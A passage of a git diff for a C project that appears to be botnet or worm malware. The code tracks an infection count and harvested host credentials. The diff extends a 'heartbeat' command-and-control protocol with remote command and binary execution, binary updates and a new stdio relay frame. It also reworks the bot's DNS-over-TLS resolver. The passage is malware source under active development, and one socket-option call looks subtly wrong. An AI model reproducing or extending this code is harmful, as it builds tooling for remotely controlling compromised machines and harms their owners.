+#define PRNE_X509_C_CRT		{ 0x00 }
+#define PRNE_X509_C_KEY		{ 0x00 }
diff --git a/src/protocol.c b/src/protocol.c
index bcbc4d1..51cbc15 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -189,9 +189,9 @@ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) {
 	hi->infect_cnt = 0;
 	hi->parent_pid = 0;
 	hi->child_pid = 0;
-	memzero(hi->prog_ver, 16);
-	memzero(hi->boot_id, 16);
-	memzero(hi->instance_id, 16);
+	prne_memzero(hi->prog_ver, 16);
+	prne_memzero(hi->boot_id, 16);
+	prne_memzero(hi->instance_id, 16);
 	hi->host_cred = NULL;
 	hi->crash_cnt = 0;
 	hi->arch = PRNE_ARCH_NONE;
@@ -210,7 +210,7 @@ bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_str
 		return false;
 	}
 
-	memzero(ny_mem, cred_strlen + 1);
+	prne_memzero(ny_mem, cred_strlen + 1);
 	prne_free(hi->host_cred);
 	hi->host_cred = (char*)ny_mem;
 
@@ -244,9 +244,10 @@ void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) {
 	cmd->mem = NULL;
 	cmd->args = NULL;
 	cmd->argc = 0;
+	cmd->detach = false;
 }
 
-bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len) {
+bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len) {
 	size_t i, str_size, pos, mem_len;
 	char *mem = NULL;
 	char **args = NULL;
@@ -362,10 +363,20 @@ void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd) {
 }
 
 bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b) {
-	return
-		a->mem_len == b->mem_len &&
+	if (!(a->mem_len == b->mem_len &&
 		a->argc == b->argc &&
-		memcmp(a->mem, b->mem, a->mem_len) == 0;
+		memcmp(a->mem, b->mem, a->mem_len) == 0))
+	{
+		return false;
+	}
+
+	for (size_t i = 0; i < a->argc; i += 1) {
+		if (!prne_nstreq(a->args[i], b->args[i])) {
+			return false;
+		}
+	}
+
+	return true;
 }
 
 void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb) {
@@ -385,6 +396,21 @@ bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_m
 		prne_htbt_eq_cmd(&a->cmd, &b->cmd);
 }
 
+void prne_htbt_init_stdio (prne_htbt_stdio_t *s) {
+	s->len = 0;
+	s->err = false;
+	s->fin = false;
+}
+
+void prne_htbt_free_stdio (prne_htbt_stdio_t *s) {}
+
+bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b) {
+	return
+		a->len == b->len &&
+		a->err == b->err &&
+		a->fin == b->fin;
+}
+
 prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in) {
 	uint16_t id;
 
@@ -526,6 +552,24 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, s
 	return PRNE_HTBT_SER_RC_OK;
 }
 
+prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in) {
+	*actual = 2;
+	if (in->len > PRNE_HTBT_STDIO_LEN_MAX) {
+		return PRNE_HTBT_SER_RC_FMT_ERR;
+	}
+	if (mem_len < *actual) {
+		return PRNE_HTBT_SER_RC_MORE_BUF;
+	}
+
+	mem[0] =
+		(in->err ? 0x80 : 0) |
+		(in->fin ? 0x40 : 0) |
+		(prne_getmsb16(in->len, 0) & 0x0F);
+	mem[1] = prne_getmsb16(in->len, 1);
+
+	return PRNE_HTBT_SER_RC_OK;
+}
+
 
 prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out) {
 	*actual = 3;
@@ -635,59 +679,55 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l
 }
 
 prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out) {
-	uint_fast16_t args_len, argc = 0;
+	size_t args_len, argc;
 	char **args = NULL;
 	char *mem = NULL;
 	prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK;
-	size_t i, str_len;
-	char *ptr;
+	int saved_errno;
 
 	*actual = 2;
 	if (len < *actual) {
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	args_len = prne_recmb_msb16(0x0F & data[0], data[1]);
+	args_len = prne_recmb_msb16(0x03 & data[0], data[1]);
 	*actual += args_len;
 
 	if (len < *actual) {
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
-	if (args_len > PRNE_HTBT_ARG_MEM_MAX || (args_len > 0 && data[args_len + 1] != 0)) {
-		return PRNE_HTBT_SER_RC_FMT_ERR;
-	}
-
-	for (i = 0; i < args_len; i += 1) {
-		if (data[2 + i] == 0) {
-			argc += 1;
-			if (argc > PRNE_HTBT_ARGS_MAX) {
-				return PRNE_HTBT_SER_RC_FMT_ERR;
-			}
-		}
-	}
 
-	args = (char**)prne_malloc(sizeof(char*), argc + 1);
 	mem = (char*)prne_malloc(1, args_len);
-	if (args == NULL || mem == NULL) {
+	if (mem == NULL) {
 		ret = PRNE_HTBT_SER_RC_ERRNO;
 		goto END;
 	}
-
 	memcpy(mem, data + 2, args_len);
 
-	ptr = mem;
-	for (i = 0; i < argc; i += 1) {
-		str_len = strlen(ptr);
-		args[i] = ptr;
-		ptr += str_len + 1;
+	saved_errno = errno;
+	errno = 0;
+	args = prne_htbt_parse_args(
+		mem,
+		args_len,
+		0,
+		NULL,
+		&argc,
+		PRNE_HTBT_ARGS_MAX);
+	if (args == NULL) {
+		ret =
+			errno != 0 ?
+			PRNE_HTBT_SER_RC_ERRNO :
+			PRNE_HTBT_SER_RC_FMT_ERR;
+		goto END;
 	}
-	args[argc] = NULL;
+	errno = saved_errno;
 
 	prne_htbt_free_cmd(out);
 	out->mem = mem;
 	out->mem_len = args_len;
 	out->args = args;
 	out->argc = argc;
+	out->detach = (0x04 & data[0]) != 0;
 	mem = NULL;
 	args = NULL;
 
@@ -715,3 +755,65 @@ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t le
 
 	return PRNE_HTBT_SER_RC_OK;
 }
+
+prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out) {
+	*actual = 2;
+	if (len < *actual) {
+		return PRNE_HTBT_SER_RC_MORE_BUF;
+	}
+
+	out->err = (data[0] & 0x80) != 0;
+	out->fin = (data[0] & 0x40) != 0;
+	out->len = prne_recmb_msb16(data[0] & 0x0F, data[1]);
+
+	return PRNE_HTBT_SER_RC_OK;
+}
+
+char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args) {
+	char *ptr, *end = m_args + args_size, *next;
+	size_t i, cnt;
+	char **ret;
+
+	cnt = 0;
+	ptr = m_args;
+	while (ptr < end) {
+		next = prne_strnchr(ptr, 0, end - ptr);
+		if (next == NULL) {
+			return NULL; // reject non-null-terminated
+		}
+		else {
+			if (next - ptr > 0) {
+				cnt += 1;
+			}
+			ptr = next + 1;
+		}
+	}
+	cnt += add_argc;
+	if (cnt > max_args) {
+		return NULL;
+	}
+
+	ret = (char**)prne_malloc(sizeof(char*), cnt + 1);
+	if (ret == NULL) {
+		return NULL;
+	}
+	ret[cnt] = NULL;
+	if (argc != NULL) {
+		*argc = cnt;
+	}
+
+	for (i = 0; i < add_argc; i +=1) {
+		ret[i] = add_args[i];
+	}
+
+	ptr = m_args;
+	while (ptr < end) {
+		next = prne_strnchr(ptr, 0, end - ptr);
+		if (next - ptr > 0) {
+			ret[i++] = ptr;
+		}
+		ptr = next + 1;
+	}
+
+	return ret;
+}
diff --git a/src/protocol.h b/src/protocol.h
index 09fa837..0b49f78 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -15,6 +15,7 @@ typedef struct prne_htbt_host_info prne_htbt_host_info_t;
 typedef struct prne_htbt_msg_head prne_htbt_msg_head_t;
 typedef struct prne_htbt_cmd prne_htbt_cmd_t;
 typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t;
+typedef struct prne_htbt_stdio prne_htbt_stdio_t;
 
 typedef enum {
 	PRNE_ARCH_NONE = -1,
@@ -59,8 +60,9 @@ struct prne_host_cred {
 	char *pw;
 };
 
-/* All messages start with uint16_t 'msg_id', whose most significant bit is used
-* to indicate whether the message is a initiation(1) or a response(0).
+/* Heartbeat Frame OP Codes
+* All messages start with uint16_t 'msg_id', whose most significant bit is
+* used to indicate whether the message is a initiation(1) or a response(0).
 * 'msg_id' is a randomly generated by either end of connection. The value 0 is
 * only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24
 * zeros over the wire).
@@ -78,7 +80,7 @@ typedef enum {
 	* 	uint8_t code: prne_htbt_status_t
 	* 	int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`)
 	*/
-	PRNE_HTBT_OP_STATUS, 
+	PRNE_HTBT_OP_STATUS,
 	/* Host Info Operation: followed by nothing
 	*
 	* The submissive end's response format:
@@ -120,8 +122,9 @@ typedef enum {
 	* TODO
 	*
 	* Followed by
-	*	uint4_t rsv
-	* 	uint12_t args_len	: the length of 'args'
+	*	uint5_t rsv
+	*	uint1_t detach
+	* 	uint10_t args_len	: the length of 'args'
 	* 	char args[len]		: the series of null-terminated string for exec*()
 	*/
 	PRNE_HTBT_OP_RUN_CMD,
@@ -130,8 +133,9 @@ typedef enum {
 	*
 	* Followed by:
 	* 	uint24_t bin_len
-	*	uint4_t rsv
-	* 	uint12_t args_len
+	*	uint5_t rsv
+	*	uint1_t detach
+	* 	uint10_t args_len
 	* 	char args[args_len]
 	* 	uint8_t bin[bin_len]
 	*/
@@ -141,12 +145,21 @@ typedef enum {
 	*
 	* Followed by:
 	* 	uint24_t bin_len
-	*	uint4_t rsv
-	* 	uint12_t args_len
+	*	uint5_t rsv
+	*	uint1_t detach
+	* 	uint10_t args_len
 	* 	char args[args_len]
 	* 	uint8_t bin[bin_len]
 	*/
 	PRNE_HTBT_OP_RUN_BIN,
+	/* STDIO Frame
+	*
+	*	uint1_t err		: 0 - stdin/stdout, 1 - stderr
+	*	uint1_t fin
+	*	uint2_t rsv
+	*	uint12_t len
+	*/
+	PRNE_HTBT_OP_STDIO,
 
 	NB_PRNE_HTBT_OP
 } prne_htbt_op_t;
@@ -154,6 +167,7 @@ PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE);
 
 typedef enum {
 	PRNE_HTBT_STATUS_OK,
+	PRNE_HTBT_STATUS_UNIMPL,
 	/* Protocol error detected. Mosts likely a format error.
 	* An int32_t that follows is not used.
 	*/
@@ -209,7 +223,8 @@ struct prne_htbt_cmd {
 	char *mem;
 	size_t mem_len;
 	char **args;
-	uint16_t argc;
+	uint8_t argc;
+	bool detach;
 };
 
 struct prne_htbt_bin_meta {
@@ -217,16 +232,35 @@ struct prne_htbt_bin_meta {
 	prne_htbt_cmd_t cmd;
 };
 
-typedef void(prne_htbt_init_ft)(void *ptr);
-typedef void(prne_htbt_free_ft)(const void *ptr);
-typedef bool(prne_htbt_eq_ft)(const void *a, const void *b);
-typedef prne_htbt_ser_rc_t(prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in);
-typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out);
+struct prne_htbt_stdio {
+	size_t len;
+	bool err;
+	bool fin;
+};
+
+typedef void(*prne_htbt_init_ft)(void *ptr);
+typedef void(*prne_htbt_free_ft)(const void *ptr);
+typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b);
+typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in);
+typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out);
 
-#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO
 #define PRNE_HTBT_PROTO_PORT (uint16_t)64420
-#define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv
-#define PRNE_HTBT_ARG_MEM_MAX 4095 // bash limit
+#define PRNE_HTBT_ARGS_MAX 255 // _POSIX_ARG_MAX equiv
+#define PRNE_HTBT_ARG_MEM_MAX 1023
+#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF
+
+/* PRNE_HTBT_PROTO_MIN_BUF
+*
+* Minimum size of buffer required to implement parsing of stream. Set to size
+* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN.
+*/
+#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX)
+/* PRNE_HTBT_PROTO_SUB_MIN_BUF
+*
+* Required write buffer size for submissive end. Set to that of
+* PRNE_HTBT_OP_HOST_INFO.
+*/
+#define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 94 + 255)
 
 
 const char *prne_arch_tostr (const prne_arch_t x);
@@ -249,6 +283,7 @@ void prne_init_host_cred (prne_host_cred_t *hc);
 bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len);
 void prne_free_host_cred (prne_host_cred_t *hc);
 bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b);
+// TODO: base64 encode
 prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in);
 prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out);
 
@@ -258,7 +293,7 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi);
 bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b);
 
 void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd);
-bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len);
+bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len);
 bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args);
 void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd);
 bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b);
@@ -267,14 +302,22 @@ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb);
 void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb);
 bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b);
 
+void prne_htbt_init_stdio (prne_htbt_stdio_t *s);
+void prne_htbt_free_stdio (prne_htbt_stdio_t *s);
+bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b);
+
 prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in);
 
 prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out);
 prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out);
 prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out);
 prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out);
 prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out);
+
+char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args);
diff --git a/src/pth.c b/src/pth.c
index 2f8bbe4..1b7f261 100644
--- a/src/pth.c
+++ b/src/pth.c
@@ -26,12 +26,12 @@ void prne_fin_worker (prne_worker_t *w) {
 	}
 }
 
-bool prne_pth_cv_notify (prne_pth_cv_t *cv) {
+bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) {
 	bool ret;
 
-	if (pth_mutex_acquire(cv->lock, FALSE, NULL)) {
-		ret = pth_cond_notify(cv->cond, cv->broadcast) == 0;
-		prne_assert(pth_mutex_release(cv->lock));
+	if (pth_mutex_acquire(lock, FALSE, NULL)) {
+		ret = pth_cond_notify(cond, broadcast) != 0;
+		prne_dbgtrap(pth_mutex_release(lock));
 	}
 	else {
 		ret = false;
@@ -40,71 +40,6 @@ bool prne_pth_cv_notify (prne_pth_cv_t *cv) {
 	return ret;
 }
 
-bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached) {
-	pth_event_t ev;
-	bool ret, reached;
-
-	if (timeout != NULL) {
-		ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000));
-		prne_assert(ev != NULL);
-	}
-	else {
-		ev = NULL;
-	}
-
-	prne_assert(pth_mutex_acquire(cv->lock, FALSE, NULL));
-	ret = pth_cond_await(cv->cond, cv->lock, ev) != 0;
-	prne_assert(pth_mutex_release(cv->lock));
-
-	if (ev != NULL && pth_event_occurred(ev)) {
-		ret = true;
-		reached = true;
-	}
-	else {
-		reached = false;
-	}
-
-	if (to_reached != NULL) {
-		*to_reached = reached;
-	}
-
-	pth_event_free(ev, FALSE);
-	return ret;
-}
-
-int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout) {
-	pth_event_t ev;
-	int ret;
-
-	if (timeout != NULL) {
-		ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000));
-		if (ev == NULL) {
-			return -1;
-		}
-	}
-	else {
-		ev = NULL;
-	}
-
-	do {
-		ret = pth_poll_ev(fds, nfds, -1, ev);
-		if (ev != NULL && pth_event_occurred(ev)) {
-			ret = 0;
-			break;
-		}
-		if (ret < 0 && errno == EINTR) {
-			continue;
-		}
-	} while (false);
-
-	pth_event_free(ev, FALSE);
-	return ret;
-}
-
-void prne_unint_pth_nanosleep (struct timespec dur) {
-	struct timespec rem;
-
-	while (pth_nanosleep(&dur, &rem) < 0 && errno == EINTR) {
-		dur = rem;
-	}
+pth_time_t prne_pth_tstimeout (const struct timespec ts) {
+	return pth_timeout(ts.tv_sec, ts.tv_nsec / 1000);
 }
diff --git a/src/pth.h b/src/pth.h
index 172e6cf..ee6901b 100644
--- a/src/pth.h
+++ b/src/pth.h
@@ -25,7 +25,5 @@ void prne_init_worker (prne_worker_t *w);
 void prne_free_worker (prne_worker_t *w);
 void prne_fin_worker (prne_worker_t *w);
 
-bool prne_pth_cv_notify (prne_pth_cv_t *cv);
-bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached);
-int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout);
-void prne_unint_pth_nanosleep (struct timespec dur);
+bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast);
+pth_time_t prne_pth_tstimeout (const struct timespec ts);
diff --git a/src/resolv.c b/src/resolv.c
index c382aad..ddf6921 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -1,4 +1,5 @@
 #include "resolv.h"
+#include "endian.h"
 #include "util_rt.h"
 #include "util_ct.h"
 #include "llist.h"
@@ -6,7 +7,7 @@
 #include "iset.h"
 #include "protocol.h"
 #include "mbedtls.h"
-#include "config.h"
+#include "iobuf.h"
 
 #include <stdlib.h>
 #include <string.h>
@@ -50,16 +51,14 @@ typedef struct {
 } query_entry_t;
 
 struct prne_resolv {
-	size_t read_cnt_len;
-	size_t write_cnt_len;
 	struct pollfd act_sck_pfd;
 	size_t ptr_nspool4, ptr_nspool6;
 	prne_resolv_ns_pool_t nspool4, nspool6;
 	pth_mutex_t lock;
 	pth_cond_t cond;
 	resolv_ctx_state_t ctx_state;
-	uint8_t write_buf[514];
-	uint8_t read_buf[514];
+	prne_iobuf_t iobuf[2];
+	uint8_t m_buf[2][514];
 	prne_llist_t qlist;
 	prne_imap_t qid_map; // uint16_t:q_ent(could be null)
 	struct {
@@ -248,11 +247,12 @@ static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv,
 	prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
 	q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent);
 	if (q_ent->qlist_ent == NULL) {
+		pth_mutex_release(&ctx->lock);
 		goto ERR;
 	}
 	q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC);
-	pth_cond_notify(&ctx->cond, FALSE);
-	prne_assert(pth_mutex_release(&ctx->lock));
+	prne_assert(pth_cond_notify(&ctx->cond, FALSE));
+	pth_mutex_release(&ctx->lock);
 
 	out->ctx = q_ent;
 	out->fut = &q_ent->fut;
@@ -275,7 +275,10 @@ static void resolv_disown_qent (query_entry_t *qent) {
 	qent->qlist_ent = NULL;
 	qent->qid = 0;
 	if (qent->cv != NULL) {
-		prne_pth_cv_notify(qent->cv);
+		prne_pth_cv_notify(
+			qent->cv->lock,
+			qent->cv->cond,
+			qent->cv->broadcast);
 	}
 }
 
@@ -302,7 +305,7 @@ static uint16_t resolv_next_qid (prne_resolv_t *ctx) {
 	return 0;
 }
 
-static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { // TODO: take errno as param
+static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) {
 	size_t i;
 	query_entry_t *qent;
 	prne_llist_entry_t *lent;
@@ -330,13 +333,21 @@ static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause,
 	prne_shutdown(ctx->act_sck_pfd.fd, SHUT_RDWR);
 	prne_close(ctx->act_sck_pfd.fd);
 	ctx->act_sck_pfd.fd = -1;
-	ctx->read_cnt_len = 0;
-	ctx->write_cnt_len = 0;
+	prne_iobuf_reset(&ctx->iobuf[0]);
+	prne_iobuf_reset(&ctx->iobuf[1]);
 	mbedtls_ssl_free(&ctx->ssl.ctx);
 	mbedtls_ssl_init(&ctx->ssl.ctx);
 
 	if (pause != NULL) {
-		prne_unint_pth_nanosleep(*pause);
+		pth_event_t ev = pth_event(
+			PTH_EVENT_TIME,
+			prne_pth_tstimeout(*pause));
+		pth_status_t s;
+
+		do {
+			pth_wait(ev);
+			s = pth_event_status(ev);
+		} while (s == PTH_STATUS_PENDING);
 	}
 	if (change_srvr) {
 		ctx->ptr_nspool4 = resolv_next_pool_ptr(ctx, ctx->nspool4.cnt);
@@ -351,6 +362,7 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
 	int optval, pollret;
 	const struct timespec *err_sleep = NULL;
 	bool ret = false;
+	pth_event_t ev = NULL;
 
 	{
 		static const int ov_nodelay = 1;
@@ -364,23 +376,20 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
 			(struct sockaddr*)&sa6,
 			(struct sockaddr*)&sa4 };
 
-		memzero(&sa6, sizeof(sa6));
-		memzero(&sa4, sizeof(sa4));
+		prne_memzero(&sa6, sizeof(sa6));
+		prne_memzero(&sa4, sizeof(sa4));
 		prne_net_ep_tosin6(ctx->nspool6.arr + ctx->ptr_nspool6, &sa6);
 		prne_net_ep_tosin4(ctx->nspool4.arr + ctx->ptr_nspool4, &sa4);
 
 		for (i = 0; i < 2; i += 1) {
 			pfs[i].fd = socket(ARR_DOMAIN[i], SOCK_STREAM, 0);
 			pfs[i].events = POLLOUT;
-			if (pfs[i].fd < 0) {
-				goto ERR;
-			}
-			if (fcntl(pfs[i].fd, F_SETFL, O_NONBLOCK) != 0) {
+			if (pfs[i].fd < 0 || !prne_sck_fcntl(pfs[i].fd)) {
 				goto ERR;
 			}
 			setsockopt(
 				pfs[i].fd,
-				SOL_TCP,
+				SOL_SOCKET,
 				TCP_NODELAY,
 				&ov_nodelay,
 				sizeof(int));
@@ -408,10 +417,29 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
 	}
 
 	err_sleep = &RESOLV_CONN_ERR_PAUSE;
+	pth_event_free(ev, FALSE);
+	ev = pth_event(
+		PTH_EVENT_TIME,
+		prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT));
+	prne_assert(ev != NULL);
 	while (pfs[0].fd >= 0 || pfs[1].fd >= 0) {
-		pollret = prne_unint_pth_poll(pfs, 2, &RESOLV_SCK_OP_TIMEOUT);
-		if (pollret > 0) {
+		pth_status_t st;
+
+		pollret = pth_poll_ev(pfs, 2, -1, ev);
+		st = pth_event_status(ev);
+
+		if (st == PTH_STATUS_OCCURRED) {
+			break;
+		}
+		else if (pollret < 0 && errno == EINTR) {
+			continue;
+		}
+		else if (pollret > 0) {
 			for (i = 0; i < 2; i += 1) {
+				if (pfs[i].fd < 0) {
+					continue;
+				}
+
 				if (pfs[i].revents & (POLLHUP | POLLERR | POLLNVAL)) {
 					prne_close(pfs[i].fd);
 					pfs[i].fd = -1;
@@ -436,72 +464,61 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
 				}
 			}
 		}
-		else if (pollret < 0) {
-			err_sleep = &RESOLV_RSRC_ERR_PAUSE;
-			break;
-		}
 		else {
-			err_sleep = NULL;
+			err_sleep = &RESOLV_RSRC_ERR_PAUSE;
 			break;
 		}
 	}
 
 END:
+	pth_event_free(ev, FALSE);
 	prne_close(pfs[0].fd);
 	prne_close(pfs[1].fd);
 	if (!ret && err_sleep != NULL) {
-		prne_unint_pth_nanosleep(*err_sleep);
+		ev = pth_event(
+			PTH_EVENT_TIME,
+			pth_timeout(err_sleep->tv_sec, err_sleep->tv_nsec / 1000));
+		prne_assert(ev != NULL);
+		do {
+			pth_wait(ev);
+		} while (pth_event_status(ev) == PTH_STATUS_PENDING);
 	}
+
 	return ret;
 }
 
-static bool resolv_tls_handshake (prne_resolv_t *ctx) {
-	int pollret;
-	bool ret = false;
-	const struct timespec *err_sleep = NULL;
+static bool resolv_ensure_conn (prne_resolv_t *ctx) {
+	if (ctx->act_sck_pfd.fd < 0) {
+		pth_event_t ev;
+		bool ret = false;
 
-	while (true) {
-		switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) {
-		case MBEDTLS_ERR_SSL_WANT_READ:
-			ctx->act_sck_pfd.events = POLLIN;
-			break;
-		case MBEDTLS_ERR_SSL_WANT_WRITE:
-			ctx->act_sck_pfd.events = POLLOUT;
-			break;
-		case 0:
-			ret = true;
-			goto END;
-		default:
-			err_sleep = &RESOLV_CONN_ERR_PAUSE;
-			goto END;
-		}
+		ev = pth_event(
+			PTH_EVENT_TIME,
+			prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT));
 
-		pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_OP_TIMEOUT);
-		if (pollret < 0) {
-			err_sleep = &RESOLV_RSRC_ERR_PAUSE;
-			goto END;
-		}
-		else if (pollret == 0) {
+		if (!resolv_ensure_act_dns_fd(ctx)) {
 			goto END;
 		}
-		else if (ctx->act_sck_pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
-			err_sleep = &RESOLV_CONN_ERR_PAUSE;
+		if (!prne_mbedtls_pth_handle(
+			&ctx->ssl.ctx,
+			mbedtls_ssl_handshake,
+			ctx->act_sck_pfd.fd,
+			ev))
+		{
+			if (pth_event_status(ev) != PTH_STATUS_OCCURRED) {
+				pth_event_free(ev, FALSE);
+				ev = pth_event(
+					PTH_EVENT_TIME,
+					prne_pth_tstimeout(RESOLV_CONN_ERR_PAUSE));
+				pth_wait(ev);
+			}
 			goto END;
 		}
-	}
 
+		ret = true;
 END:
-	if (!ret) {
-		resolv_close_sck(ctx, err_sleep, true);
-	}
-	return ret;
-}
-
-static bool resolv_ensure_conn (prne_resolv_t *ctx) {
-	if (ctx->act_sck_pfd.fd < 0) {
-		if (!(resolv_ensure_act_dns_fd(ctx) &&
-			resolv_tls_handshake(ctx)))
-		return false;
+		pth_event_free(ev, FALSE);
+		return ret;
 	}
 
 	return true;
@@ -947,7 +964,7 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) {
 
 		dot_msg_len = resolv_calc_dot_msg_len(qent);
 		dns_msg_len = dot_msg_len - 2;
